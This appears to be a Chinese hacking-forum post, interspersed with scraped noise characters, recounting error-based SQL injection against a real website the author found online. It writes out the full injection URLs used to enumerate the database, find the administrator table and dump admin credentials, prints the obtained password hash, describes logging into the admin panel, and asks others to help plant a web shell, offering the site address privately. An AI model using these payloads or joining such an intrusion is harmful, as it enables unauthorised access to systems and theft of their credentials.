近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。6 J2 Y# } m$ ~8 g! e2 u& o. ?
首先找到网站后台,加了个admin,后台出来了
* u1 |7 Z/ S' G6 {
. T( X& O5 S* A: y/ _. Q1 ~/ Z. B- n- \$ p0 s- r9 k% t( s
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入0 e: I- q& F$ V
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
O8 z, U, {$ V5 ]9 O3 T# l( c- u0 N; ?$ v5 W$ \
% Z& ? R5 q; O# I! h
: {* b& N' T% w/ y# }$ N" J" i
+ e. f- E/ U: L" e) _- ~# Z6 Q9 A5 \2 phttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg3 |7 C4 L8 t- m5 \
. f% o4 _0 d% u' |
0 ?7 g- H3 J+ P' ~$ J
% I( I [" F4 u L0 K: @! u
* a- w( l3 N% e. v可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator/ q/ G# @' D; r& @0 M
/ d- j7 B6 M0 g, {
* S6 E; N. V# Thttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg/ B$ ]( ~$ ?8 }% p3 z% Q6 ]: X
8 B( a3 \# D+ a) n
/ H0 E& L7 n- F. ~# a: o
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
5 _' r; A7 k* \* e9 G- F
$ Q. i; Q7 n- |
, j- Q( q9 l5 e) U7 ?, l# c }* Y8 O* r2 k8 m0 C: L
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
B* w8 ?$ Y' K
) U; C% D; G, Z4 p& x' V/ z0 ?- t' {8 \( ^/ d/ k
q5 ?; C9 s h7 O0 R+ Z
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |